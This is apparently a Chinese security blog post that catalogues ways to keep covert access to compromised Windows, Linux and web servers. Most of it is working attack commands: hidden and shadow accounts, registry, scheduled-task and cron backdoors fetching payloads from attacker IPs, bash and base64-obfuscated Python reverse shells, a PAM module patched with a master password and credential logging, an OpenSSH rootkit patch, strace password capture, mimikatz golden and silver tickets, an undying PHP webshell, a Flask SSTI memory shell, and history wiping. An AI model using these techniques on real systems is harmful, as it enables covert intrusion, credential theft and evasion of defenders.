Featured image of post 内网权限维持技术

内网权限维持技术

内网权限维持思路总结

1.Windows权限维持

参考资料:内网渗透-windows权限维持的方法_内网渗透-CSDN专栏

1.1.影子账号

Windows权限维持之建立影子账号(五)_windows 7 创建影子账户-CSDN博客

影子账号可以行驶用户正常的权限和功能,并且只能在注册表中被检测到

1
2
3
4
net user hack$ Admin123 /add
net localgroup administrators hack$ /add

#添加账号需要管理员权限不管是在域内还是工作组环境下都需要管理员权限

使用net user查看不到,但是在控制面版中可以看到,或者使用:wmic useraccount get Name

1
2
wmic useraccount get Name
net user teamssix$ /del              //删除用户命令

使用注册表修改账户,使隐藏账户只能通过注册表查看到,切换到影子账号下,然后打开注册表,将SAM的权限设置为管理员完全可控

在注册表找到要修改的用户,Win10,Win2016以上账户无法展开注册表中的SAM,Win7以下可以

https://github.com/wgpsec/CreateHiddenAccount 一键生成影子账号,需要在管理员权限下运行

1
2
3
4
5
6
7
8
9
createhiddenaccount.exe -h      查看帮助
-c 检查当前系统的隐藏账户 
-d 指定要删除的用户名如果添加的用户名不是以 $ 结尾则工具会自动在用户名后添加上 $ 
-p 指定添加的用户的密码 
-u 指定要添加的用户名如果添加的用户名不是以 $ 结尾则工具会自动在用户名后添加上 $

例如这里添加一个用户名为 teamssix 的隐藏账号工具会自动在用户名后添加 $ 因此创建后的用户名为 teamssix$
使用的时候记得在管理员权限下运行不然会提示权限不足
CreateHiddenAccount.exe -u teamssix -p Passw0rd

创建完后,通过 net user 和控制面板等等都是看不到这个账号的,但是wmic还是可以查看到隐藏用户

1
2
CreateHiddenAccount.exe -c                      查看隐藏账号
CreateHiddenAccount.exe -d teamssix             删除隐藏账号

1.2.注册表写入后门

应急响应实战笔记——权限维持篇:② Windows 权限维持&后门篇-CSDN博客

1.2.1.使用MSF的权限维持模块进行攻击

MSF有对应的模块:exploit/windows/local/persistence

1
use exploit/windows/local/persistence

1.2.2.自己修改注册表进行攻击

都是需要先提权才能执行命令

位置一:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

1
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v test1 /t REG_SZ /d C:\666.exe

1.2.3.CS Web投递攻击配合注册表写后门

CS先开启Web投递功能,然后在目标主机上执行对应的命令既可以一键实现无文件注册表后门

1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.0.101:8081/logo'))"
1
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test1 /t REG_SZ /d "\"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe\" -NoP -W Hidden -C \"IEX((New-Object System.Net.WebClient).DownloadString('http://192.168.66.128:8080/logo'))\"" /f

1.3.计划任务后门

这个计划任务写后门和注册表写后门怕对方有杀毒软件,由于会调用Powershell进行命令执行,杀毒软件都会发出警告

这个也是可以配合CS的Web投递功能实现权限维持

1
2
3
4
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.66.128:8080/logo'))"

后门脚本每一分钟执行一次
schtasks /create /sc minute /mo 1 /tn "shell" /tr "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.66.128:8080/logo'))\""

1.4.粘滞键后门

Windows权限维持之shift后门(四)_权限维持shift后 命令-CSDN博客

适用于大多数Windows版本,连续按下5次shift就会弹出这个

在此之前 我们要修改:C:\windows\system32\sethc.exe

1
2
move sethc.exe sethc1.exe
copy cmd.exe sethc.exe

1.5.黄金票据&白银票据

Kerberos认证流程:当Client想要访问Server上的某个服务时,需要先向AS证明自己的身份,验证通过后AS会发放的一个TGT,随后Client再次向TGS证明自己的身份,验证通过后TGS会发放一个ST,最后Client向Server发起认证请求,这个过程分为三块:

Client与AS进行交互

Client与TGS进行交互

Client与Server进行交互

黄金票据伪造的是TGT,白银票据伪造的是ST,黄金票据可以利用整个域内任何一个服务进行权限维持,白银票据只能利用某个服务进行权限维持

1.5.1.黄金票据

伪造黄金票据所需条件

域名称,域SID值,域内KRBTGT账号的hash,伪造任意的用户名

获取域SID值和域内KRBTGT账户的hash前提是拿到了域管理员的权限

黄金票据的特点

1.域控制器中的KDC服务不验证TGT中的用户帐户,直到TGT超过20分钟,这意味着攻击者可以使用禁用和删除的帐户,甚至是在Active Directory中不存在的虚拟帐户。

2.由于在域控制器上由KDC服务生成的域设置了Kerberos策略,如果提供票据,则系统信任票据的有效性。这意味着,即使域策略声明Kerberos登录票据(TGT)只有10小时有效,如果票据声明有效期为10年,那么也会信任票据的有效性期为10年。

3.该KRBTGT帐户密码丛不更改和直到KRBTGT密码被更改(两次),攻击者可以创建黄金票据。请注意,即使伪造用户更改其密码,创建用于模拟用户的Golden Ticket仍然存在。

使用mimikatz生成黄金票据

1
2
3
4
5
6
mimikatz # privilege::Debug
lsadump::dcsync /domain:vulntarget.com /user:krbtgt  //只导出域内krbtgt用户的hash

mimikatz # lsadump::lsa /patch        //导出域内所有用户的hash,需要获取krbtgt用户的ntlm hash
    Domain : WIN10 / S-1-5-21-904365891-2126640510-4108959213
dsquery user -name krbtgt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
krbtgt hash:66bac16b441a532d65a71b7bcc4b2bf5
S-1-5-21-904365891-2126640510-4108959213

生成黄金票据
kerberos::golden /user:administrator /domain:vulntarget.com /sid:S-1-5-21-904365891-2126640510-4108959213
/krbtgt:66bac16b441a532d65a71b7bcc4b2bf5 /ticket:ticket.kirbi

kerberos::ptt ticket.kirbi

kerberos::tgt     //查看生成的tgt票据
kerberos::purge   //清除票据

1
2
3
mimikatz # kerberos::ptt C:\Users\win101\Desktop\mimikatz\ticket.kirbi  //注入票据

* File: 'C:\Users\win101\Desktop\mimikatz\ticket.kirbi': OK

新开一个窗口:执行dir \dc\c$ 看是否能够正常看到

1
2
net user hack Admin123 /add /domain
net group "domain admins" hack /add /domain

黄金票据防御

1.限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机(不要让其他管理员登录到这些服务器)将所有其他权限委派给自定义管理员组.这大大降低了攻击者访问域控制器的Active Directory的ntds.dit。如果攻击者无法访问AD数据库(ntds.dit文件),则无法获取到KRBTGT帐户密码。

2.禁用KRBTGT帐户,并保存当前的密码以及以前的密码。KRBTGT密码哈希用于在KerberOs票据上签署PAC并对TGT(身份验证票据)进行加密。如果使用不同的密钥(密码)对证书进行签名和加密,则DC(KDC)通过检查KRBTGT以前的密码来验证。

1.5.2.白银票据

Silver Tickets(下面称银票)就是伪造的ST(Service Ticket),因为在TGT已经在PAC里限定了给Client授权的服务(通过SID的值),所以银票只能访问指定服务。

伪造白银票据所需条件

域名,域sid,目标服务器名,可利用的服务,服务账号的NTML HASH,需要伪造的用户名

白银票据服务列表

1
2
3
4
5
6
7
WMI                   HOSTRPCSS
PowerShell Remoting   HOSTHTTP
WinRM                 HOSTHTTP
Scheduled Tasks       HOST
WindowsFileShare      CIFS
LDAP                  LDAP
WindowsRemoteServer   RPCSSLDAPCIFS

使用mimikatz生成白银票据

内网渗透 | 多种票据攻击详解-腾讯云开发者社区-腾讯云

域渗透学习——伪造黄金、白银票据攻击-CSDN博客

1
2
3
4
5
6
7
8
利用CIFS权限进行伪造
sekurlsa::logonPasswords

kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /target:administrator.god.org /rc4:152df0bd8dc97d27d9b8b934bc30b56d /service:cifs /user:hacker /ptt


kerberos::golden /user:administrator /domain:vulntarget.com /sid:S-1-5-21-904365891-2126640510-4108959213
/target:dc.vulntarget.com /service:cifs /rc4:ntlmhash /ticket:ticket.kirbi

1.6.映像劫持

“映像劫持”,也被称为“IFEO”(Image File Execution Options),在WindowsNT架构的系统里,IFEO的本意是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。当一个可执行程序位于IFEO的控制中时,它的内存分配则根据该程序的参数来设定,而WindowsN T架构的系统能通过这个注册表项使用与可执行程序文件名匹配的项目作为程序载入时的控制依据,最终得以设定一个程序的堆管理机制和一些辅助机制等。出于简化原因,IFEO使用忽略路径的方式来匹配它所要控制的程序文件名,所以程序无论放在哪个路径,只要名字没有变化,它就运行出问题。

演示:
注册表位置:

1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe

在此注册表位置添加项sethc.exe,添加debugger键的值为c:\windows\system32\cmd.exe

连续按5次Shift即可打开CMD,本质上和粘滞键后门没啥区别

1.7.屏幕保护后门

屏幕保护是Windows功能的一部分,使用户可以在一段时间不活动后放置屏幕消息或图形动画。Windows的此功能被威胁参与者滥用为持久性方法。这是因为屏幕保护程序是具有.scr文件扩展名的可执行文件,并通过scrnsave.scr实用程序执行。

注册表位置:HKEY_CURRENT_USER\Control Panel\Desktop

1
2
3
4
SCRNSAVE.EXE为默认的屏保程序我们可将此键值设置为我们要利用的恶意程序在本质上.scr文件是可执行文件
ScreenSaveActive表示屏保状态1为启动0为关闭
ScreenSaverTimeout表示屏幕保护程序启动前系统的空闲事件单位为秒默认为900(15分钟)
ScreenSaverIsSecure默认参数为0标识不需要密码即可解锁

如果你的注册表不存在这几个字段可以自己添加,如下图所示

1
reg add HKEY_CURRENT_USER\Control Panel\Desktop /v SCRNSAVE.EXE /t REG_SZ /d c:\shell.exe /f

1.8.服务自启动后门

自启动服务一般是在电脑启动后在后台加载指定的服务程序,我们可以将exe文件注册为服务,也可以将dll文件注册为服务。

1
2
3
4
5
6
sc create test binpath= c:\666.exe 注意等号后面有空格)#创建服务
sc config test start= auto #设置服务为自动启动
net start test #启动服务

sc delete test            //删除服务
sc query test             //查询服务

1.9.bitsadmin

BITS (后台智能传送服务) 是一个 Windows 组件,它可以在前台或后台异步传输文件,为保证其他网络应用程序获得响应而调整传输速度,并在重新启动计算机或重新建立网络连接之后自动恢复文件传输。

1
2
3
4
bitsadmin /create test //创建任务test
bitsadmin /addfile test c:\windows\system32\calc.exe c:\Users\ndsec\Desktop\calc.exe
bitsadmin /SetNotifyCmdLine test cmd.exe cmd.exe /c calc.exe
bitsadmin /resume test

1.10.Windows的隐藏文件

everything是可以搜出来的,如果是木马文件需要做免杀,不然会被杀软识别出

1
2
3
4
隐藏文件
attrib +s +a +h +r /文件路径
恢复隐藏
attrib -s -a -h -r /文件路径

不管是使用命令行还是直接看都是不能直接发现该文件的,但是假设你创建了一个同名文件系统还是会提示你文件名相同的,everything还是可以发现的

如果是病毒文件的话,文件做好免杀,杀毒工具扫不出来,加上隐藏该文件,还是能实现较好的权限维持的,该方法对于文件落地的后门提供保护

1.11.Windows权限维持小结

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
Windows权限维持方法有
1.影子账户 2.注册表写后门 3.计划任务后门 4.粘滞键后门 5.映像劫持 6.屏幕保护后门 7.服务自启动后门
8.bitsadmin 9.黄金票据&白银票据

各权限维持优缺点
1.影子账户比较麻烦也容易被发现查注册表即可
2.注册表写后门比较简单但也容易被发现外联
3.计划任务后门和注册表一样都有外联
4.粘滞键后门/映像劫持也容易被发现按5下shift
5.屏幕保护后门不易实现目标服务器不一定会进入息屏页面
6.服务自启动后门容易被发现
7.黄金票据&白银票据域控都拿下了也没必要再创建后门

2.Linux权限维持

https://mp.weixin.qq.com/s/PGNMz9xx3917JjbeGqkVZg

https://github.com/RuoJi6/HackerPermKeeper Linux权限维持工具

2.1.添加账号

1
2
3
4
5
6
7
8
9
#添加账号test1设置uid为0密码为123456,第一次设置密码可能会通过不了可以设置完后进行修改
useradd -p 'openssl passwd -1 -salt 'salt' 123456' test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1
 
 
 
echo "test1:x:0:0::/:/bin/sh" >> /etc/passwd          
#增加超级用户账号
passwd test2                           
#修改test2的密码为123456

2.2.SUID Shell

1
2
3
4
5
SUID Shell是一种可用于以拥有者权限运行的shell

cp /bin/bash /tmp/shell
chmod u+s /tmp/shell
/tmp/shell -p           普通用户运行即可拿到root权限

2.3.ssh公私钥登录

攻击机Kali生成公钥

1
2
3
4
5
ssh-keygen -t rsa #三次回车
 
id_rsa : 私钥
 
id_rsa.pub : 公钥

把这个文件复制到受控主机.ssh目录下的authorized_keys,这个目录都在用户的家目录里面

1
2
3
将Kali生成的SSH公钥内容复制到受害主机authorized_keys的内容并替换

然后不需要密码直接可以连接

2.4.定时任务Crontab

利用系统的定时任务功能反弹shell

1
2
3
4
5
6
vim /etc/.back.sh              //创建后门文件,这里可以创建成隐藏文件

#!/bin/bash
bash -i >& /dev/tcp/114.116.233.221/3333 0>&1

chmod 777 /etc/.back.sh

1
vim /etc/crontab

1
nc -lvvp 3333          //攻击机监听自己的3333端口

2.5.Strace后门(Linux-监控功能

Strace 是一个动态跟踪工具,它可以跟踪系统调用的执行。我们可以把他当成一个键盘记录的后门,来扩大我们的信息收集范围

1
2
3
4
5
6
7
8
1记录 sshd 明文
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &) 
查看文件
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log
 
 
2记录 sshd 私钥
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)

当你开启sshd键盘记录后,再次使用密码或私钥连接Linux服务器,自己的密码和私钥就会被记录在/tmp/.sshd.log文件夹下

2.6.OpenSSH后门

OpenSSH后门获取root密码及防范 - 极道先生 - 博客园

原理:替换本身操作系统的ssh协议支持软件openssh,重新安装自定义的openssh,达到记录账号密码,也可以采用万能密码连接的功能

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
[root@iZj6c2zunt1ococ0t5jk1nZ ~]# ssh -V              //查看当前ssh版本
OpenSSH_8.0p1, OpenSSL 1.1.1k  FIPS 25 Mar 2021

#安装所需依赖
yum -y install openssl openssl-devel pam-devel zlib zlib-devel    
yum -y install gcc gcc-c++ make  
yum -y install patch 


#下载替换后门文件
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz

#解压文件
tar -xzvf openssh-5.9p1.tar.gz
tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz

#安装openssh
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
cd openssh-5.9p1 && patch < sshbd5.9p1.diff  
# 进入openssh-5.9p1把sshbd5.9p1.diff写入到patch中

1
2
3
#编辑版本文件
vim version.h
#将ssh -V显示的版本替换到version.h文件中

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#编辑密码
vim include.h
    #define ILOG "/tmp/ilog"         //ilog是别人用ssh登录该主机的记录的日志文件
    #define OLOG "/tmp/olog"         //olog是该主机用ssh登录其它主机的日志记录
    #define SECRETPW "LsereinSec"   //万能密码
    #endif /* INCLUDES_H */

#安装编译
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 && make && make install

service sshd restart
systemctl status sshd

ssh root@IP -p LsereinSec进行连接即可

2.7.SSH PAM后门

PAM是Linux中的一种认证模块,PAM相当于Windows的kerberos,PAM可以作为Linux登录验证和各类基础服务的认证,简单来说就是一种用于Linux系统上的用户身份验证的机制。进行认证时首先确定是什么服务,然后加载相应的PAM的配置文件(位于/etc/pam.d),最后调用认证文件(位于/lib/security)进行安全认证

1
rpm -qa | grep pam         //查询pam版本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
wget https://github.com/linux-pam/linux-pam/releases/download/v1.3.1/Linux-PAM-1.3.1.tar.xz  //下载对应版本的pam文件

#安装所需依赖
yum install gcc flex flex-devel -y

#修改pam_unix_auth.c文件
cd Linux-PAM-1.3.1
cd modules/pam_unix/
vim pam_unix_auth.c           //修改179行的文件内容为

    /* verify the password of this user */
        retval = _unix_verify_password(pamh, name, p, ctrl);
        if(strcmp("hackers",p)==0){return PAM_SUCCESS;} //后门密码
        if(retval == PAM_SUCCESS){ 
        FILE * fp; 
        fp = fopen("/tmp/.sshlog", "a");//SSH登录用户密码保存位置
        fprintf(fp, "%s : %s\n", name, p); 
        fclose(fp);} 
        name = p = NULL;
        AUTH_RETURN;

1
2
3
4
5
6
7
cd ../../           
./configure && make          编译安装

#把原来的pam_unix.so文件备份并把新的pam_unix.so复制到原来的位置
cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp
cd modules/pam_unix/.libs
cp pam_unix.so /usr/lib64/security/pam_unix.so

2.8.SSH 软连接

SSH软链接:在sshd服务配置启用PAM认证的前提下,PAM配置文件中控制标志为sufficient时,只

要pam rootok模块检测uid为0(root)即可成功认证登录。

1
2
#查看是否支持pam身份验证
cat /etc/ssh/sshd_config|grep UsePAM

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#建立软链接并且如果有防火墙的话需要设置允许对应端口通行
ln -sf /usr/sbin/sshd /tmp/su ;/tmp/su -oPort=9999
#开启软链接链接端口为9999
 
firewall-cmd --add-port=9999/tcp --permanent
#开启防火墙规则不然会连接不上
 
firewall-cmd --reload
#重启防火墙服务
 
firewall-cmd --query-port=9999/tcp
#查看防火墙9999端口是否被放行回显为YES即成功放行

1
ssh root@47.76.47.203 -p 9999       //密码随便输入都可以直连,缺点就是容易被发现,突然多开了一个端口

2.9.Alias别名后门

Alias命令的功能:为命令设置别名

1
2
alias ls="ls -al"               //将ls命令设置为ls -al
unalias ls                      //删除别名

1
2
alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/114.116.233.221/4444 0>&1; };alerts'
# 执行完ls之后执行反弹shell的命令,这样执行完成后会话会一直卡住会引起怀疑

1
2
执行不会卡住的同时也会反弹shell
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTE0LjExNi4yMzMuMjIxIiwgNDQ0NCkpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDIpCiAgICAgICAgcCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWkiXSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBleGl0KCk='\'')))";};alerts'
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import os,socket,subprocess;
ret = os.fork()
if ret > 0:
    exit()
else:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("114.116.233.221", 4444))
        os.dup2(s.fileno(), 0)
        os.dup2(s.fileno(), 1)
        os.dup2(s.fileno(), 2)
        p = subprocess.call(["/bin/sh", "-i"])
    except Exception as e:
        exit()

2.10.内核加载 LKM-Rootkit 后门

先前面这几种情况,就算做了隐藏,查看端口一条命令也能发现与别的ip建立了连接,而使用Rootkit,可以把进程,端口,甚至文件全部都隐藏了,比较难以发现。

第145天:内网安全-Linux权限维持&Rootkit后门&Strace监控&Alias别名&Cron定时任务_rootkit权限维持-CSDN博客

2.11.Linux权限维持常用的一些技术手段

1.修改文件或终端属性touch

touch命令⽤于修改⽂件或者⽬录的时间属性,包括存取时间和更改时间。若⽂件不存在,系统会建⽴⼀个新的⽂件,可以将自己的后门文件或落地文件的属性设置的和目标原始文件一致

1
touch -r index.php shell.php 将shell.php文件设置成和index.php一致

2.文件或文件夹加锁chattr

锁定文件/文件夹不让其它用户删除

1
2
3
4
5
chattr +i evil.php #锁定
rm -rf evil.php #提示禁删除
lsattr evil.php #属性查看
chattr -i evil.php #解除锁定
rm -rf evil.php #彻底删除

3.History

你在Linux执行的任何命令都会被记录到/root/.bash_history中,所以你在做完权限维持后记住清除你执行过的命令

1
2
3
4
5
6
7
#1.只针对你的作关闭历史记录
[space]set +o history #备注[space] 表示空格并且由于空格的缘故该命令本身也不会被记录

[Space]set -o history #将环境恢复原状

#删除规模历史操作记录⾥,我们只保留前150
sed -i '150,$d' .bash_history

2.12.Linux权限维持小结

1.Linux常见维持方法有哪些?

1.添加账号 2.写SSH公私钥 3.定时任务反弹Shell 4.Strace键盘记录后门 5.OpenSSH后门 6.SSH PAM后门 7.SSH 软连接后门 8.Alias别名反弹shell 9.Rookit后门

2.Linux权限维持中每种后门的不同点

1
2
3
4
5
6
7
8
9
1.添加账号         #最简单也做让人容易发现   cat /etc/passwd
2.SSH公私钥        #比较简单也容易让别人发现
3.SSH定时任务      #最简单也做让人容易发现
4.Strace键盘记录后门     #需要配合水坑攻击让管理员进行登录才能获取到管理员账户密码
5.OpenSSH后门      #非常复杂还要替换目标主机文件隐蔽性较好
6.SSH PAM后门      #较复杂但是需要目标主机存在pam环境 rpm -qa | grep pam         //查询pam版本
7.SSH软连接后门    #简单但需要目标主机支持pam身份验证
8.Alias别名后门    #简单但也容易被发现
9.Rookit内核加载后门    #隐蔽性极强但是一般不让使用

3.Web权限维持

第146天:内网安全-Web权限维持&各语言内存马&Servlet-api类&Spring类&Agent类_内存马如何连接-CSDN博客

内存马是无文件攻击的一种常用手段,随着攻防演练热度越来越高流量分析、EDR等专业安全设备被蓝方广泛使用,传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到,内存马使用越来越多,内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。内存马可以通过访问存在漏洞的url加上命令执行参数,即可让服务器返回结果也可通过webshell管理工具例如:蚁剑、冰蝎、哥斯拉等进行远程连接后攻击目标。

3.1.Php WebShell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php
    ignore_user_abort(true);
    set_time_limit(0);
    @unlink(__FILE__);
    $file = '.HH.php';
    $code = '<?php @eval($_POST[\'c\']); ?>';
    while (1){
       file_put_contents($file,$code);
       usleep(5000);
    }
?>

ignore_user_abort(true);     ##代表该代码只要运行了就不会断开
set_time_limit(0);     ##该代码运行的时间设置为0就是一致运行
@unlink(__FILE__);        ##删除文件
while (1){
 file_put_contents($file,$code);    ## 死循环创建文件并且写入
 usleep(5000);   ##延时
}

访问这个不死马,会一直转圈圈,此时会生成一个.HH.php隐藏文件,直接连接这个隐藏文件即可,这个不死马会自动删除自己,只要浏览器没有在访问,你也可以直接删除这个文件

当你删除这个.HH.php文件时,不死马会一直生成这个文件,解决办法就是重启中间件,或者写脚本条件竞争进行删除

3.2.Python内存马

https://xz.aliyun.com/news/10381

漏洞代码,这段代码中有ssti注入漏洞

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from flask import Flask, request
from flask import render_template_string

app = Flask(__name__)


@app.route('/')
def hello_world():
    return 'Hello World'


@app.route('/test', methods=['GET', 'POST'])
def test():
    template = '''
        <div class="center-content error">
            <h1>Oops! That page doesn't exist.</h1>
            <h3>%s</h3>
        </div> 
    ''' % (request.values.get('param'))

    return render_template_string(template)


if __name__ == '__main__':
    app.run(port=5000)
1
http://127.0.0.1:8000/test?param={{url_for.__globals__[%27__builtins__%27][%27eval%27](%22app.add_url_rule(%27/shell%27,%20%27shell%27,%20lambda%20:__import__(%27os%27).popen(_request_ctx_stack.top.request.args.get(%27cmd%27,%20%27whoami%27)).read())%22,{%27_request_ctx_stack%27:url_for.__globals__[%27_request_ctx_stack%27],%27app%27:url_for.__globals__[%27current_app%27]})}}
1
直接访问http://127.0.0.1:5000/shell?cmd=whoami

执行发现,shell文件并不存在,但是能执行命令,日志中也有记录

3.3.Java内存马

1
2
3
Java Instrumentation类Agent型
Servlet-api类 Servlet型Listener型Filter型
Spring类 Controller型Interceptor型

Linux权限维持工具—HackerPermKeeper使用

1
python main.py -m 13          //生成检测脚本,判断服务器适用于哪种方法进行权限维持       

在目标主机上适用检测脚本进行检查,前提是目标主机需要有Python环境才能运行

查看可能存在权限维持的情况在回到主机运行对应的模块,如这里我测试SSH软链接后门

输入对应的模块号,他会给你返回攻击脚本

By Lsec
最后更新于 Sep 12, 2025 22:11 +0800
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计
¹鵵ҳ